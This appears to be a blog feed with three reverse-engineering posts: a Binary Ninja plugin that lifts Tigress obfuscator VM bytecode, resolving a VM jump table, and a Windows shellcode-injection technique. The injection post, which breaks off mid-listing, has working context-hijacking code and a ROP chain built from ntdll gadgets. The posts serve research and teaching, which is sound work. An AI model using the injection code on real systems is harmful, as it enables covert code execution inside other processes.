<p>Let's go through what the functions do</p>
<h3 id="heading-getinstructioninfo">get_instruction_info</h3>
<p>This is used to tell Binary Ninja the length of an instruction, and if it branches, the type of branch that it does. For most of our instructions we're just going to set the length, and for the jump and return opcodes we'll set the branch details. For example</p>
<pre><code>elif opcode == <span class="hljs-number">0xf4</span>:
    # jmp
    immediate = struct.unpack(<span class="hljs-string">"&lt;L"</span>, data[<span class="hljs-number">1</span>:<span class="hljs-number">5</span>])[<span class="hljs-number">0</span>]
    result = InstructionInfo()
    result.length = <span class="hljs-number">5</span>
    result.add_branch(BranchType.UnconditionalBranch, address+immediate+<span class="hljs-number">1</span>)
    <span class="hljs-keyword">return</span> result
</code></pre><h3 id="heading-getinstructiontext">get_instruction_text</h3>
<p>This is what we'll print out when we look at the disassembly, as well as the length of the opcode we just parsed (as with each of these functions). Most of our opcodes don't take any arguments so we can just print out their name, but with others we'll want to include the parameters and format them correctly. For example</p>
<pre><code><span class="hljs-keyword">if</span> opcode == <span class="hljs-number">0x60</span> or opcode == <span class="hljs-number">0xe1</span>:
    # loadq
    immediate = struct.unpack(<span class="hljs-string">"&lt;Q"</span>, data[<span class="hljs-number">1</span>:<span class="hljs-number">9</span>])[<span class="hljs-number">0</span>]

    tokens = []
    tokens.append(InstructionTextToken(InstructionTextTokenType.InstructionToken, <span class="hljs-string">"loadq"</span>))
    tokens.append(InstructionTextToken(InstructionTextTokenType.OperandSeparatorToken, <span class="hljs-string">" "</span>))
    tokens.append(InstructionTextToken(InstructionTextTokenType.PossibleAddressToken, hex(immediate), immediate))
    <span class="hljs-keyword">return</span> tokens, <span class="hljs-number">9</span>
</code></pre><h3 id="heading-getinstructionlowlevelil">get_instruction_low_level_il</h3>
<p>This is where things get really interesting. If we can get this right and lift every command to low level IL then we can let Binary Ninja interpret the code semantically and do a bunch of heavy lifting for us. We get passed an argument <code>il</code> that we can append our operations onto, and we have multiple ways of doing this. For example, we know that this is a stack based virtual machine, and we defined <code>vsp</code> as a register, so we can make use of the <code>push</code> and <code>pop</code> commands in Binary Ninja's LLIL. The first opcode we found, <code>loadq</code> can be implemented fairly simply using this:</p>
<pre><code><span class="hljs-keyword">if</span> opcode == <span class="hljs-number">0x60</span> or opcode == <span class="hljs-number">0xe1</span>:
    # loadq
    immediate = struct.unpack(<span class="hljs-string">"&lt;Q"</span>, data[<span class="hljs-number">1</span>:<span class="hljs-number">9</span>])[<span class="hljs-number">0</span>]
    il.append(il.push(<span class="hljs-number">8</span>, il.const(<span class="hljs-number">8</span>, immediate)))
    <span class="hljs-keyword">return</span> <span class="hljs-number">9</span>
</code></pre><p>We take the immediate and declare it as an 8 byte constant, then use this in an 8 byte push command, and append this to the list of instructions.</p>
<p>Our arithmetic commands are the next obvious ones. We pop two operands, add or multiply them, and push them back on the stack:</p>
<pre><code>elif opcode == <span class="hljs-number">0xc7</span>:
    # mulq
    product = il.mult(<span class="hljs-number">8</span>, il.pop(<span class="hljs-number">8</span>), il.pop(<span class="hljs-number">8</span>))
    il.append(il.push(<span class="hljs-number">8</span>, product))
    <span class="hljs-keyword">return</span> <span class="hljs-number">1</span>
</code></pre><p>When we read memory we can pop the address off, load the memory from that location, and then push it back in place:</p>
<pre><code>elif opcode == <span class="hljs-number">0x61</span> or opcode == <span class="hljs-number">0x6e</span>:
    # rmem
    il.append(il.push(<span class="hljs-number">8</span>, il.load(<span class="hljs-number">8</span>, il.pop(<span class="hljs-number">8</span>))))
    <span class="hljs-keyword">return</span> <span class="hljs-number">1</span>
</code></pre><p>What happens when the order of instructions is important though, like with a memory write, or a shift or subtraction? There may be other ways of doing this, but I added some dummy registers called <code>lhs</code> and <code>rhs</code> (for the left hand side and right hand side, respectively), and used these to make sure operations were ordered correctly. Then we can construct our other handlers:</p>
<pre><code>elif opcode == <span class="hljs-number">0xdf</span>:
    # wmem
    il.append(il.set_reg(<span class="hljs-number">8</span>, <span class="hljs-string">"vlhs"</span>, il.pop(<span class="hljs-number">8</span>)))
    il.append(il.set_reg(<span class="hljs-number">8</span>, <span class="hljs-string">"vrhs"</span>, il.pop(<span class="hljs-number">8</span>)))
    il.append(il.store(<span class="hljs-number">8</span>, il.reg(<span class="hljs-number">8</span>, <span class="hljs-string">"vlhs"</span>), il.reg(<span class="hljs-number">8</span>, <span class="hljs-string">"vrhs"</span>)))
    <span class="hljs-keyword">return</span> <span class="hljs-number">1</span>
</code></pre><pre><code>elif opcode == <span class="hljs-number">0x42</span>:
    # subq
    il.append(il.set_reg(<span class="hljs-number">8</span>, <span class="hljs-string">"vlhs"</span>, il.pop(<span class="hljs-number">8</span>)))
    il.append(il.set_reg(<span class="hljs-number">8</span>, <span class="hljs-string">"vrhs"</span>, il.pop(<span class="hljs-number">8</span>)))
    sum = il.sub(<span class="hljs-number">8</span>, il.reg(<span class="hljs-number">8</span>, <span class="hljs-string">"vlhs"</span>), il.reg(<span class="hljs-number">8</span>, <span class="hljs-string">"vrhs"</span>))
    il.append(il.push(<span class="hljs-number">8</span>, sum))
    <span class="hljs-keyword">return</span> <span class="hljs-number">1</span>
</code></pre><p>It's worth noting that tigress isn't consistent with which order it consumes the stack operands in, so you need to check this with each handler.</p>
<p>Finally, there are the arguments, the return value, and the virtual registers. I implemented the <code>ldarg</code> opcode with each argument as its own register, and we return whatever register corresponds to the offset that is provided. We could also do this with an array of arguments, but the disassembly looks a little nicer this way.</p>
<pre><code>elif opcode == <span class="hljs-number">0x8e</span>:
    # ldarg
    immediate = struct.unpack(<span class="hljs-string">"&lt;L"</span>, data[<span class="hljs-number">1</span>:<span class="hljs-number">5</span>])[<span class="hljs-number">0</span>]
    <span class="hljs-keyword">if</span> immediate == <span class="hljs-number">0</span>:
        varg = il.reg(<span class="hljs-number">8</span>, <span class="hljs-string">"varg1"</span>)
    elif immediate == <span class="hljs-number">1</span>:
        varg = il.reg(<span class="hljs-number">8</span>, <span class="hljs-string">"varg2"</span>)
    il.append(il.push(<span class="hljs-number">8</span>, varg))
    <span class="hljs-keyword">return</span> <span class="hljs-number">5</span>
</code></pre><p>I've implemented the virtual registers (or scratch space) as an array of QWORDS though, so we just use the parameter as an offset:</p>
<pre><code>elif opcode == <span class="hljs-number">0x90</span>:
    # lead
    immediate = struct.unpack(<span class="hljs-string">"&lt;L"</span>, data[<span class="hljs-number">1</span>:<span class="hljs-number">5</span>])[<span class="hljs-number">0</span>]
    vreg = il.add(<span class="hljs-number">8</span>, il.reg(<span class="hljs-number">8</span>, <span class="hljs-string">"vreg"</span>), il.const(<span class="hljs-number">4</span>, immediate))
    il.append(il.push(<span class="hljs-number">8</span>, vreg))
    <span class="hljs-keyword">return</span> <span class="hljs-number">5</span>
</code></pre><p>And finally, the jump is a relative jump so this is fairly easy to do</p>
<pre><code>lif opcode == <span class="hljs-number">0xf4</span>:
    # jmp
    immediate = struct.unpack(<span class="hljs-string">"&lt;L"</span>, data[<span class="hljs-number">1</span>:<span class="hljs-number">5</span>])[<span class="hljs-number">0</span>]
    dest = immediate + address + <span class="hljs-number">1</span>
    il.append(il.jump(il.const(<span class="hljs-number">8</span>, dest)))
</code></pre><h2 id="heading-reversing-the-code">Reversing the code</h2>
<p>Now we have a full architecture plugin for our new VM, let's see how Binary Ninja does at decompiling it:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1666863254956/ymRAmd95G.png" alt="image.png" /></p>
<p>There's a ton of dead-store reduction, and Binary Ninja ends up producing what is basically compilable C code. If we take the whole thing with the dead stores and constant propagation removed, here's what we're left with:</p>
<pre><code>regs[<span class="hljs-number">2</span>] = (**(int64_t**)arg1 + <span class="hljs-number">0x34d870d1</span>);
regs[<span class="hljs-number">3</span>] = (<span class="hljs-number">0xffffffffd9fca98b</span> | (regs[<span class="hljs-number">2</span>] | **(int64_t**)arg1));
regs[<span class="hljs-number">4</span>] = (<span class="hljs-number">0x46bc480</span> | **(int64_t**)arg1);
regs[<span class="hljs-number">5</span>] = (((**(int64_t**)arg1 + <span class="hljs-number">0x1dd9c3c5</span>) &lt;&lt; (<span class="hljs-number">0x40</span> - (<span class="hljs-number">1</span> | (<span class="hljs-number">0xf</span> &amp; (<span class="hljs-number">0x38bca01f</span> * regs[<span class="hljs-number">2</span>]))))) | ((**(int64_t**)arg1 + <span class="hljs-number">0x1dd9c3c5</span>) &gt;&gt; (<span class="hljs-number">1</span> | (<span class="hljs-number">0xf</span> &amp; (<span class="hljs-number">0x38bca01f</span> * regs[<span class="hljs-number">2</span>])))));;
regs[<span class="hljs-number">5</span>] = (((<span class="hljs-number">0x3f</span> &amp; (regs[<span class="hljs-number">4</span>] &lt;&lt; (<span class="hljs-number">1</span> | (<span class="hljs-number">7</span> &amp; regs[<span class="hljs-number">2</span>])))) &lt;&lt; <span class="hljs-number">4</span>) | regs[<span class="hljs-number">5</span>]);
**(int64_t**)arg2 = (((<span class="hljs-number">0x2c7c60b7</span> * regs[<span class="hljs-number">5</span>]) * regs[<span class="hljs-number">4</span>]) * (regs[<span class="hljs-number">2</span>] + regs[<span class="hljs-number">3</span>]));
</code></pre><p>The only scratch register that gets clobbered is <code>regs[5]</code> but otherwise this is pretty clean, especially for the output we get for free just by building the LLIL parser. We can clean it up a little bit more (for example, the first <code>regs[5]</code> transform is just a bitwise rotation).</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>This was my first attempt at building a plugin for Binary Ninja, and it was fairly straightforward and easy to work with. It would be nice to have some more code samples (both full hello-world style samples and some more samples in the docs themselves), and some better test harnesses (e.g. easier ways to reload the module without restarting Binary Ninja, or an integration test framework to insert X bytes and see how they do or don't work in the full stack from LLIL to HLIL), but this is definitely a much more accessible and flexible plugin framework than what the other big tools have to offer. Well done Vector35 with this.</p>
<p>Thanks to <a target="_blank" href="https://blog.ret2.io/2017/10/17/untangling-exotic-architectures-with-binary-ninja/">Amy Burnett</a> for her guide and extension that I used extensively as a reference, and <a target="_blank" href="https://github.com/whitequark/binja-i8086">whitequark</a> for her 16bit x86 plugin that was also useful.</p>
<p>The full plugin is at https://github.com/samrussell/tigress_disasm if you want to drop it in and see how it looks.</p>
]]></content:encoded></item><item><title><![CDATA[Reversing complex jumptables in Binary Ninja]]></title><description><![CDATA[I've recently started reversing some of the Tigress obfuscator challenges, and I decided to use this to test out some of the functionality in Binary Ninja. One of the keys to reversing a virtualization obfuscator is identifying the control loop where...]]></description><link>https://www.lodsb.com/reversing-complex-jumptables-in-binary-ninja</link><guid isPermaLink="true">https://www.lodsb.com/reversing-complex-jumptables-in-binary-ninja</guid><category><![CDATA[General Programming]]></category><category><![CDATA[binary ninja]]></category><category><![CDATA[reverse engineering]]></category><dc:creator><![CDATA[Sam Russell]]></dc:creator><pubDate>Fri, 15 Jul 2022 14:48:50 GMT</pubDate><content:encoded><![CDATA[<p>I've recently started reversing some of the <a target="_blank" href="http://tigress.cs.arizona.edu/challenges.html">Tigress obfuscator challenges</a>, and I decided to use this to test out some of the functionality in Binary Ninja. One of the keys to reversing a virtualization obfuscator is identifying the control loop where the binary code is interpreted and executed by the various VM handlers.</p>
<p>If we open the first binary (challenge-0) in Binary Ninja and scroll down a bit we can find the loop itself by eyeballing the code:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1657880528322/UdoxEO-Eo.png" alt="image.png" /></p>
<p>For this article, we'll focus on that final jump statement with the big red question mark next to it.</p>
<h2 id="heading-reversing-the-structures">Reversing the structures</h2>
<p>If we double-click on the 0x602408 pointer we get taken to a block of data that looks very structured:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1657880816381/fBNFdw4bB.png" alt="image.png" /></p>
<p>It looks like these are grouped as 2x QWORDs, giving us 21 structures in total. We're most interested in the second QWORD in each structure, as this looks to be the pointer to the VM handler. If we go to the start of one of these (0x602400) and right click, we can right click and select "Create Structure..." or just use the S key to accomplish this.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1657880956994/12s8G6JLB.png" alt="image.png" /></p>
<p>We'll call it <code>handler_entry</code> and make it 0x10 bytes. If we double click on the name of our new struct it'll open in the types window:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1657894346975/WCoDMIby8.png" alt="image.png" /></p>
<p>The <a target="_blank" href="https://docs.binary.ninja/guide/type.html">struct docs</a> say we can set the fields to 8 byte fields with the <code>8</code> key, so we'll create 2 QWORD fields, the first we can leave as <code>field_0</code>, and we'll rename the second to <code>address</code>. We can also create the other 20 structs by clicking on the original struct at 00602400 and pressing the <code>Y</code> key, and defining this memory as <code>struct handler[0x15]</code> or <code>struct handler[21]</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1657894504457/2zUeUNVz7.png" alt="image.png" /></p>
<p>This updates the whole block of memory to be structs, and we can eyeball it to see that there are indeed 21 VM handlers.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1657894543225/K_9jOyqEF.png" alt="image.png" /></p>
<h2 id="heading-resolving-the-jump-table">Resolving the jump table</h2>
<p>We still have ugly jump table from before, so we need to do a couple more things before this works. If we go to the medium level IL we see it looks like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1657894653940/gY9tL-Tzl.png" alt="image.png" /></p>
<p>So <code>rax_30</code> is the actual offset (<code>code &lt;&lt; 4</code> == <code>code * 0x10</code> and we know the struct size is 0x10), and then <code>rax_31</code> is the base + the offset. We can click on <code>rax_31</code>, press the <code>Y</code> key to change the type, and change it from <code>void* rax_31</code> to <code>struct handler_entry* rax_31</code>. Press enter and now Binary Ninja recognizes the +8 as actually just looking at the <code>address</code> member of the struct</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1657894786459/QhZe0uJR2.png" alt="image.png" /></p>
<p>Here's where things get a little tricky. I couldn't find a way to do this through the UI, but I did find <a target="_blank" href="https://binary.ninja/2020/09/10/user-informed-dataflow.html">this article</a> which shows how to set the range of data inputs and have Binary Ninja build a jump table from there.</p>
<p>Click on line <code>64 @ 00400805</code> in the Medium Level IL view, then press <code>Ctrl+backtick</code> (or select <code>Python Console</code> from the <code>View</code> menu), and we'll define using the <a target="_blank" href="https://api.binary.ninja/binaryninja.function-module.html#binaryninja.function.Function.set_user_var_value">set_user_var_value</a> API call. We want to set the range of possible values for <code>rax_32</code>, so we select this with <code>rax32 = current_mlil[64].operands[0]</code>. We're defining this at 0x400805 so we'll set this as the second parameter, and the third param is the complicated part. We can manually go through the addresses of the VM handlers, but that's annoying for 21 handlers, and horrendous for 200 or more like a lot of obfuscators use.</p>
<p>We want to access the array of <code>struct handler_entry</code> at 0x602400 so we can get this with <code>current_view.get_data_var_at(0x602400)</code>.  We get an iterable object where we can access each entry at any offset, for example:</p>
<pre><code>&gt;&gt;&gt; struct_array = current_view.get_data_var_at(<span class="hljs-number">0x602400</span>).value
&gt;&gt;&gt; struct_array[<span class="hljs-number">0</span>]
{<span class="hljs-string">'field_0'</span>: <span class="hljs-number">14</span>, <span class="hljs-string">'address'</span>: <span class="hljs-number">4196644</span>}
&gt;&gt;&gt; struct_array[<span class="hljs-number">0</span>][<span class="hljs-string">'address'</span>]
<span class="hljs-number">4196644</span>
&gt;&gt;&gt; hex(struct_array[<span class="hljs-number">0</span>][<span class="hljs-string">'address'</span>])
<span class="hljs-string">'0x400924'</span>
</code></pre><p>If you're familiar with list comprehension in python it's a one-liner to get a list of all the addresses of the VM handlers, and we'll put these into a <code>PossibleValueSet</code></p>
<pre><code>&gt;&gt;&gt; vm_handlers = PossibleValueSet.in_set_of_values([x[<span class="hljs-string">'address'</span>] <span class="hljs-keyword">for</span> x <span class="hljs-keyword">in</span> struct_array])
&gt;&gt;&gt; vm_handlers
&lt;<span class="hljs-keyword">in</span> set([<span class="hljs-number">0x40080b</span>, <span class="hljs-number">0x400850</span>, <span class="hljs-number">0x40088d</span>, <span class="hljs-number">0x4008ac</span>, <span class="hljs-number">0x4008e9</span>, <span class="hljs-number">0x400924</span>, <span class="hljs-number">0x400961</span>, <span class="hljs-number">0x400983</span>, <span class="hljs-number">0x4009c0</span>, <span class="hljs-number">0x4009d1</span>, <span class="hljs-number">0x400a30</span>, <span class="hljs-number">0x400a52</span>, <span class="hljs-number">0x400a8d</span>, <span class="hljs-number">0x400acb</span>, <span class="hljs-number">0x400b10</span>, <span class="hljs-number">0x400b34</span>, <span class="hljs-number">0x400b77</span>, <span class="hljs-number">0x400bb4</span>, <span class="hljs-number">0x400bf2</span>, <span class="hljs-number">0x400c35</span>, <span class="hljs-number">0x400c52</span>])&gt;
</code></pre><p>Now we just need to put it all together, and define that rax_32 at line 0x00400805 can only point to one of those 21 VM handlers:</p>
<pre><code>rax32 = current_mlil[<span class="hljs-number">64</span>].operands[<span class="hljs-number">0</span>]
vm_handlers = PossibleValueSet.in_set_of_values([x[<span class="hljs-string">'address'</span>] <span class="hljs-keyword">for</span> x <span class="hljs-keyword">in</span> struct_array])
current_function.set_user_var_value(rax32, <span class="hljs-number">0x00400805</span> , vm_handlers)
</code></pre><p>After executing this we see the Medium Level IL window has changed:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1657895939923/xds7BT7W0.png" alt="image.png" /></p>
<p>If we go back to High Level IL or to Pseudo C and change from Linear to Graph view we now have a normal switch-case statement that loops back on itself, and a graph of all the VM handlers:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1657896034912/0Ymw3FnKX.png" alt="image.png" /></p>
<p>And we're done!</p>
<p>Next steps:</p>
<ul>
<li>Classifying the VM handlers</li>
<li>Reversing the chunk of code at the start of the loop that decodes the opcodes</li>
<li>Lifting the VM bytecode into some sort of IL</li>
<li>Reversing the IL to crack the obfuscator</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Shellcode injection using ThreadNameInformation]]></title><description><![CDATA[I've recently been looking into  NtSetContextThread as an exploit vector, and was looking at different ways of setting up state to load some code into our target thread and then execute it. The idea of ghost writing is pretty fun, but I wanted a way ...]]></description><link>https://www.lodsb.com/shellcode-injection-using-threadnameinformation</link><guid isPermaLink="true">https://www.lodsb.com/shellcode-injection-using-threadnameinformation</guid><dc:creator><![CDATA[Sam Russell]]></dc:creator><pubDate>Sat, 01 Jan 2022 12:06:03 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1641036584989/6x5H-t8M3.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I've recently been looking into  <a target="_blank" href="https://www.lodsb.com/why-ntsetcontextthread-destroys-volatile-registers">NtSetContextThread</a> as an exploit vector, and was looking at different ways of setting up state to load some code into our target thread and then execute it. The idea of <a target="_blank" href="http://blog.txipinet.com/2007/04/05/69-a-paradox-writing-to-another-process-without-openning-it-nor-actually-writing-to-it/">ghost writing</a> is pretty fun, but I wanted a way to do this in a single shot instead of having to loop over and have the thread otherwise in a waiting pattern (since we can't do anything useful when the thread is in a syscall).</p>
<p>Enter <code>NtSetInformationThread(ThreadNameInformation)</code>.  <a target="_blank" href="https://blahcat.github.io/2019/03/17/small-dumps-in-the-big-pool/">Blah Cats</a> wrote a piece on using this to allocate kernel pages and get a peek into where a thread's KTHREAD is stored, but we can also use this as an easy way to get data into a target thread. This is set up as a UNICODE_STRING in memory, which means we don't need to care about null-termination, we just provide a length and it copies the whole chunk with a <code>memmove()</code> both when setting it and retrieving it. We can then use <code>NtSetContextThread()</code> to make the app jump to a call to <code>NtQueryInformationThread(ThreadNameInformation)</code>, and if we set the stack right we can effectively overflow our own stack and return directly into the start of our ROP chain.</p>
<p>As usual, if you're following along at home you'll want a Windows 10 x64 kernel 20H2. Full PoC at https://github.com/samrussell/doublebarrell</p>
<h2 id="heading-retrieving-the-rop-chain">Retrieving the ROP chain</h2>
<p>The call to NtQueryInformationThread looks like this:</p>
<pre><code>__<span class="hljs-selector-tag">kernel_entry</span> <span class="hljs-selector-tag">NTSTATUS</span> <span class="hljs-selector-tag">NtQueryInformationThread</span>(
  <span class="hljs-selector-attr">[in]</span>            <span class="hljs-selector-tag">HANDLE</span>          <span class="hljs-selector-tag">ThreadHandle</span>,
  <span class="hljs-selector-attr">[in]</span>            <span class="hljs-selector-tag">THREADINFOCLASS</span> <span class="hljs-selector-tag">ThreadInformationClass</span>,
  <span class="hljs-selector-attr">[in, out]</span>       <span class="hljs-selector-tag">PVOID</span>           <span class="hljs-selector-tag">ThreadInformation</span>,
  <span class="hljs-selector-attr">[in]</span>            <span class="hljs-selector-tag">ULONG</span>           <span class="hljs-selector-tag">ThreadInformationLength</span>,
  <span class="hljs-selector-attr">[out, optional]</span> <span class="hljs-selector-tag">PULONG</span>          <span class="hljs-selector-tag">ReturnLength</span>
);
</code></pre><p>We can set the first 4 parameters to registers with <code>NtSetContextThread()</code>, but the 5th one is a challenge. This is passed on the stack, and if it's set to 0 it's ignored, but if it's non-null then the call will dereference it to store the number of bytes copied. We aren't reading or writing memory directly so we have no guarantees of the state of the stack, so we have to find a way to set this ourselves.</p>
<p>Luckily for us, ntdll calls this in a bunch of different places. In nearly all of them it sets up the stack parameter first and then nukes all the volatile registers (bad), but there is one spot in <code>DbgUiConvertStateChangeStructureWorker()</code> where it sets up the volatile registers and then loads the stack parameter:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1641034610362/JKh9XcY_e.png" alt="image.png" /></p>
<p>So we can set the 5 parameters in RCX, RDX, R8, R9 and RDI, set RIP to 1800CC777 (relocated), and this will load RDI at [RSP+20] and then call NtQueryInformationThread.</p>
<p>One last thing is to carefully set the <code>ThreadInformation</code> parameter so it overrides our return address on the stack. <code>NtQueryInformationThread()</code> will write a <code>UNICODE_STRING</code> structure, which is 2 WORDs with length and maximum length, and then an aligned pointer to our buffer, followed by the buffer itself. When we make the call we'll push another pointer onto the stack, so we need to load this at current RSP - 3x <code>sizeof(void*)</code></p>
<pre><code>context.ContextFlags <span class="hljs-operator">=</span> CONTEXT_FULL;
GetThreadContext(hThread, <span class="hljs-operator">&amp;</span>context);
context.ContextFlags <span class="hljs-operator">|</span><span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>;

context.Rsp <span class="hljs-operator">=</span> context.Rsp <span class="hljs-operator">-</span> <span class="hljs-number">0x200</span> <span class="hljs-operator">-</span> sizeof(threadName); <span class="hljs-comment">// make space on the stack</span>
context.Rcx <span class="hljs-operator">=</span> <span class="hljs-number">0xFFFFFFFFFFFFFFFE</span>; <span class="hljs-comment">// -2 = current thread</span>
context.Rdx <span class="hljs-operator">=</span> <span class="hljs-number">0x26</span>; <span class="hljs-comment">// ThreadNameInformation</span>
context.R8 <span class="hljs-operator">=</span> context.Rsp <span class="hljs-operator">-</span> <span class="hljs-number">0x18</span>; <span class="hljs-comment">// overflow ourselves</span>
context.R9 <span class="hljs-operator">=</span> (threadInformation[<span class="hljs-number">0</span>] <span class="hljs-operator">&amp;</span> <span class="hljs-number">0xFFFF</span>) <span class="hljs-operator">+</span> <span class="hljs-number">0x10</span>; <span class="hljs-comment">// length</span>
context.Rdi <span class="hljs-operator">=</span> <span class="hljs-number">0</span>; <span class="hljs-comment">// NULL, don't update us</span>
context.Rip <span class="hljs-operator">=</span> <span class="hljs-number">0x7FFEE4F5C777</span>; <span class="hljs-comment">// relocated pointer</span>
SetThreadContext(hThread, <span class="hljs-operator">&amp;</span>context);
</code></pre><p>So we set this up, and our target thread is straight into our ROP chain and will do what we like! Now for the proof of concept.</p>
<h2 id="heading-shellcode-courtesy-of-ntdll">Shellcode courtesy of ntdll</h2>
<p>At this point we search for gadgets that will let us pull the PEB out of <code>GS:30</code> plus a bunch of other arithmetic to locate <code>LoadLibrary</code> and <code>GetProcAddress</code>. This gives us a big ugly ROP chain and requires a lot of gadgets to make it work. With ntdll we get a headstart with <code>RtlGetCurrentPeb()</code>, but we still need a bunch of gadgets that do stuff to RAX and return, as well as ways to store our data in non-volatile registers for later. I had a browse with  <a target="_blank" href="https://github.com/JonathanSalwan/ROPgadget">ROPgadget</a> and wasn't happy with what I found, but then I realized that ntdll is actually all we need and we don't need any arithmetic at all.</p>
<h3 id="heading-loadlibrary-andgt-ldrloaddll">LoadLibrary -&gt; LdrLoadDll</h3>
<p>If we pull open <code>kernelbase.dll</code> we find that all roads lead to <code>LoadLibraryExW()</code> which then calls <code>LdrLoadDll()</code> in ntdll. According to  <a target="_blank" href="https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FLdrLoadDll.html">ntinternals.net</a>, we can call it as follows:</p>
<pre><code>LdrLoadDll(
    <span class="hljs-number">0</span>, <span class="hljs-comment">// optional</span>
    <span class="hljs-number">0</span>, <span class="hljs-comment">// optional</span>
    <span class="hljs-operator">&amp;</span>filename, <span class="hljs-comment">// UNICODE_STRING</span>
    <span class="hljs-operator">&amp;</span>baseAddress <span class="hljs-comment">// void* that receives the module address</span>
)
</code></pre><p>The awesome thing with this is that <code>baseAddress</code> gets stored to a pointer of our choosing, so we can just point this to further down our ROPchain and it'll automatically get loaded into a register later on. Easy.</p>
<h3 id="heading-getprocaddress-andgt-ldrgetprocedureaddressforcaller">GetProcAddress -&gt; LdrGetProcedureAddressForCaller()</h3>
<p>That's right, <code>GetProcAddress()</code> is also backed by a function in ntdll. The <code>LdrGetProcedureAddressForCaller()</code> function takes 6 params but there's another function that wraps it called <code>LdrGetProcedureAddress()</code> that only takes 4:</p>
<pre><code>LdrGetProcedureAddress(
    <span class="hljs-operator">&amp;</span>baseAddress, <span class="hljs-comment">// address we got from LdrLoadDll()</span>
    <span class="hljs-operator">&amp;</span>procName, <span class="hljs-comment">// a STRING with the name of the function we want</span>
    <span class="hljs-number">0</span>, <span class="hljs-comment">// ordinal, given we're tailoring this to a specific build we can use this if we like</span>
    <span class="hljs-operator">&amp;</span>procAddress <span class="hljs-comment">// void* that receives the function address</span>
</code></pre><p>As with <code>LdrLoadDll()</code>, the last parameter is a pointer to where the function address will be stored, so this can point right back into our ROP chain too. All we need now is a couple of gadgets and we'll be sorted.</p>
<h3 id="heading-ldrphandleinvalidusercalltarget-the-mother-of-all-gadgets">LdrpHandleInvalidUserCallTarget: the mother of all gadgets</h3>
<p>All of this is static - we know our pointers, we know our arguments, and the two functions we call are loading the arguments right into our ROP chain. All we need now is a way to populate our volatile registers for parameters 1-4. Enter my favorite function in ntdll: <code>LdrpHandleInvalidUserCallTarget()</code>. I don't know what this does, and I don't really care, but what I do care about is that it populates all of the registers we care about before returning:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1641036584989/6x5H-t8M3.png" alt="image.png" /></p>
<p>So whenever we want to call a function we just need to set up the stack like this:</p>
<ul>
<li>address of LdrpHandleInvalidUserCallTarget gadget</li>
<li>param 2 (RDX)</li>
<li>param 1 (RCX)</li>
<li>param 3 (R8)</li>
<li>param 4 (R9)</li>
<li>null (R10)</li>
<li>null (R11)</li>
<li>function we want to call</li>
<li>address of return gadget</li>
<li>4x QWORD for shadow stack</li>
</ul>
<p>I've also kept my data inline with my calls and just step over it when I'm done with it, and this gadget lets us dump up to 7 QWORDs at a time from the stack.</p>
<h2 id="heading-putting-it-all-together">Putting it all together</h2>
<p>Here's the full ROP chain I use to inject a MessageBox call:</p>
<pre><code>    <span class="hljs-comment">// set up shellcode</span>

    threadName[<span class="hljs-number">0</span>] <span class="hljs-operator">=</span> <span class="hljs-number">0x7FFEE4F1C550</span>; <span class="hljs-comment">// populate registers</span>
    threadName[<span class="hljs-number">1</span>] <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
    threadName[<span class="hljs-number">2</span>] <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
    threadName[<span class="hljs-number">3</span>] <span class="hljs-operator">=</span> context.R8 <span class="hljs-operator">+</span> <span class="hljs-number">0x80</span>; <span class="hljs-comment">// &amp;UNICODE_STRING("ntdll.dll")</span>
    threadName[<span class="hljs-number">4</span>] <span class="hljs-operator">=</span> context.R8 <span class="hljs-operator">+</span> <span class="hljs-number">0xB8</span>; <span class="hljs-comment">// &amp;baseAddress</span>
    threadName[<span class="hljs-number">5</span>] <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
    threadName[<span class="hljs-number">6</span>] <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
    threadName[<span class="hljs-number">7</span>] <span class="hljs-operator">=</span> <span class="hljs-number">0x7FFEE4EA6A10</span>; <span class="hljs-comment">// LdrLoadDll</span>
    threadName[<span class="hljs-number">8</span>] <span class="hljs-operator">=</span> <span class="hljs-number">0x7FFEE4F1C553</span>; <span class="hljs-comment">// pop 4 registers</span>
    <span class="hljs-comment">// shadow stack break</span>
    threadName[<span class="hljs-number">13</span>] <span class="hljs-operator">=</span> <span class="hljs-number">0x7FFEE4F1C551</span>; <span class="hljs-comment">// pop 5 registers</span>
    threadName[<span class="hljs-number">14</span>] <span class="hljs-operator">=</span> <span class="hljs-number">0x0000000000160014</span>; <span class="hljs-comment">// UNICODE_STRING("ntdll.dll")</span>
    threadName[<span class="hljs-number">15</span>] <span class="hljs-operator">=</span> context.R8 <span class="hljs-operator">+</span> <span class="hljs-number">0x90</span>;
    threadName[<span class="hljs-number">16</span>] <span class="hljs-operator">=</span> <span class="hljs-number">0x0072006500730075</span>;
    threadName[<span class="hljs-number">17</span>] <span class="hljs-operator">=</span> <span class="hljs-number">0x0064002E00320033</span>;
    threadName[<span class="hljs-number">18</span>] <span class="hljs-operator">=</span> <span class="hljs-number">0x00000000006C006C</span>;
    threadName[<span class="hljs-number">19</span>] <span class="hljs-operator">=</span> <span class="hljs-number">0x7FFEE4F1C550</span>; <span class="hljs-comment">// populate registers</span>
